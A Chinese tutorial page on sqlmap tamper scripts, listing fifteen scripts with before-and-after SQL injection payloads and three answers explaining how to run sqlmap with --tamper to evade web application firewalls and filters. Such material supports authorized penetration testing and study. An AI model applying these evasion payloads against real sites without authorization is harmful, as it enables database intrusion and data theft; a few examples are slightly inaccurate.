sqlmap中tamper的用法

sqlmap部分脚本用法说明

1、apostrophemask.py

适用数据库:ALL

作用:将引号替换为utf-8,用于过滤单引号

使用脚本前:tamper("1 AND '1'='1")

使用脚本后:1 AND %EF%BC%871%EF%BC%87=%EF%BC%871

2、base64encode.py

适用数据库:ALL

作用:替换base64编码

使用脚本前:tamper("1' AND SLEEP(5)#")

使用脚本后:MScgQU5EIFNMRUVQKDUpIw==

3、multiplespaces.py

适用数据库:ALL

作用:围绕sql关键字添加多个空格

使用脚本前:tamper('1 UNION SELECT foobar')

使用脚本后:1 UNION SELECT foobar

4、space2plus.py

适用数据库:ALL

作用:用加号替换空格

使用脚本前:tamper('SELECT id FROM users')

使用脚本后:SELECT+id+FROM+users

5、space2randomblank.py

适用数据库:ALL

作用:将空格替换为其他随机有效字符

使用脚本前:tamper('SELECT id FROM users')

使用脚本后:SELECT%0Did%0CFROM%0Ausers

6、unionalltounion.py

适用数据库:ALL

作用:将union all select 替换为union select

使用脚本前:tamper('-1 UNION ALL SELECT')

使用脚本后:-1 UNION SELECT

7、space2dash.py

适用数据库:ALL

作用:将空格替换为破折号(--),并添加一个随机字符和换行符(\n)

使用脚本前:tamper('1 AND 9227=9227')

适用脚本后:1--upgPydUzKpMX%0AAND--RcDKhIr%0A9227=9227

8、space2mssqlblank.py

适用数据库:mssql

测试数据库版本:Microsoft SQL Server 2000 、Microsoft SQL Server 2005

作用:将空格替换为有效字符集的随机空白字符('%01', '%02', '%03', '%04', '%05', '%06', '%07', '%08', '%09', '%0B', '%0C', '%0D', '%0E', '%0F', '%0A')

使用脚本前:tamper('SELECT id FROM users')

适用脚本后:SELECT%0Did%0DFROM%04users

9、between.py

测试数据库:Microsoft SQL Server 2005 、MySQL 4, 5.0 and 5.5、 Oracle 10g、 PostgreSQL 8.3, 8.4, 9.0

作用:将">"替换为"NOT BETWEEN 0 AND #",将"="替换为"BETWEEN # AND #"

使用脚本前:tamper('1 AND A > B--'),tamper('1 AND A = B--')

使用脚本后:1 AND A NOT BETWEEN 0 AND B--,1 AND A BETWEEN B AND B--

10、percentage.py

适用数据库:ASP

测试数据库:Microsoft SQL Server 2000, 2005 、MySQL 5.1.56, 5.5.11 、PostgreSQL 9.0

作用:在每个字符前加上一个%

使用脚本前:tamper('SELECT FIELD FROM TABLE')

使用脚本后:%S%E%L%E%C%T %F%I%E%L%D %F%R%O%M %T%A%B%L%E

11、sp_password.py

适用数据库:mssql

作用:将sp_password追加到有效载荷后,以便从DBMS日志中自动混淆。

使用脚本前:tamper('1 AND 9227=9227-- ')

使用脚本后:1 AND 9227=9227-- sp_password

12、charencode.py

测试数据库:Microsoft SQL Server 2005、MySQL 4, 5.0 and 5.5、Oracle 10g、PostgreSQL 8.3, 8.4, 9.0

作用:对指定的payload全部使用url编码(不处理已进行编码的字符)

使用脚本前:tamper('SELECT FIELD FROM%20TABLE')

使用脚本后:%53%45%4C%45%43%54%20%46%49%45%4C%44%20%46%52%4F%4D%20%54%41%42%4C%45

13、randomcase.py

测试数据库:Microsoft SQL Server 2005、MySQL 4, 5.0 and 5.5、Oracle 10g、PostgreSQL 8.3, 8.4, 9.0、SQLite 3

作用:将字符替换为随机大小写

使用脚本前:tamper('INSERT')

使用脚本后:InSeRt

14、charunicodeencode.py

适用数据库:ASP 、ASP.NET

测试数据库:Microsoft SQL Server 2000 、Microsoft SQL Server 2005、MySQL 5.1.56 、PostgreSQL 9.0.3

作用:适用字符串的Unicode编码

使用脚本前:tamper('SELECT FIELD%20FROM TABLE')

使用脚本后:%u0053%u0045%u004C%u0045%u0043%u0054%u0020%u0046%u0049%u0045%u004C%u0044%u0020%u0046%u0052%u004F%u004D%u0020%u0054%u0041%u0042%u004C%u0045

15、space2comment.py

测试数据库:Microsoft SQL Server 2005、MySQL 4, 5.0 and 5.5、Oracle 10g、PostgreSQL 8.3, 8.4, 9.0

作用:将空格替换为/**/

使用脚本前:tamper('SELECT id FROM users')

使用脚本后:SELECT/**/id/**/FROM/**/users

  • 9
    点赞
  • 24
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
### 回答1: SQLmaptamper是指对抓包后的sqlmap请求加入变异行为,以逃避WAF及过滤规则的限制。tamper是一个python文件,可以在进行SQL注入测试时应用,以尝试绕过WAF和安全防护。 使用SQLmaptamper可以使用以下步骤: 1. 打开SQLmaptamper文件夹,可以找到多个与注入相关的tamper文件,如:apostrophemask.py,base64encode.py,between.py等等。 2. 选择一个tamper文件,将其加入到SQLmap的命令行选项。 例如,使用apostrophemask.py变异脚本,命令行应如下: ``` python sqlmap.py -u www.target.com/vuln.php?id=1 --tamper=apostrophemask.py ``` 3. 运行SQLmap测试注入时,将应用选定的tamper文件,用于变异测试HTTP请求报文,最终目的在绕过WAF和安全防护,完成注入检测。 需要注意的是,不同的tamper文件是具有不同的变异特点和用途的,应根据实际情况进行选择和测试。 ### 回答2: SQLMap是一种专门用于自动化SQL注入渗透测试的工具,其tamper选项用于修改SQL注入时发送给目标数据库的Payload。使用tamper选项可以绕过一些特定的WAF(Web应用防火墙)或者应用程序针对SQL注入的过滤规则,增加注入成功的几率。 使用tamper选项的步骤如下: 1. 启动SQLMap并指定目标URL,例如:`python sqlmap.py -u http://example.com/index.php?id=1` 2. 执行第一步后,SQLMap会自动进行一系列测试,检测目标是否存在SQL注入漏洞。如果检测到存在漏洞,则可以继续下一步;否则可能需要尝试其他方法或者目标不具备SQL注入漏洞。 3. 输入`--tamper`或`-tamper`选项以及相应的tamper脚本,例如:`--tamper=space2comment`。SQLMap会使用指定的tamper脚本修改发送给目标数据库的Payload。 4. SQLMap会自动应用指定的tamper脚本进行注入测试。如果需要使用多个tamper脚本,可以使用逗号分隔,例如:`--tamper=space2comment,randomcase`。 5. 执行tamper选项后,SQLMap会根据tamper脚本的定义修改Payload,然后再发送给目标数据库进行注入测试。 总之,tamper选项是SQLMap用于修改Payload以绕过WAF或应用程序过滤规则的重要功能。用户可以根据具体情况选择合适的tamper脚本,提高SQL注入攻击成功的概率。 ### 回答3: sqlmap是一个用于自动化SQL注入的工具,tamper是其一个功能,用于修改注入请求的参数和报文,以绕过WAF(Web应用防火墙)和过滤器。 使用tamper功能的步骤如下: 1. 首先,运行sqlmap并指定目标网址,例如:`python sqlmap.py -u http://example.com/page.php?id=1` 2. 在运行过程sqlmap会探测目标网址是否存在SQL注入漏洞。 3. 一旦sqlmap确认目标存在注入漏洞,它会提示选择是否使用tamper功能以绕过WAF和过滤器。 4. 输入`Y`或者`yes`后回车,sqlmap将提供一系列tamper脚本供选择。 5. 根据需要选择一个tamper脚本,例如选择`tamper/space2comment.py`,则会将空格转换为注释符。 6. sqlmap会自动将选择的tamper脚本应用于注入请求,并发送修改后的请求到目标网址。 7. 接下来,sqlmap会分析响应,如果注入成功,将继续进行注入测试。 8. 使用其他tamper脚本,可以尝试绕过不同的防御机制,如编码、大小写、拆分等。 9. 运行完成后,sqlmap将生成报告,并提供详细的注入结果和可能的漏洞利用方法。 总之,tamper功能是sqlmap工具用于绕过WAF和过滤器的重要组成部分,通过应用tamper脚本可以改变注入请求的参数和报文,增加SQL注入成功的几率。

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值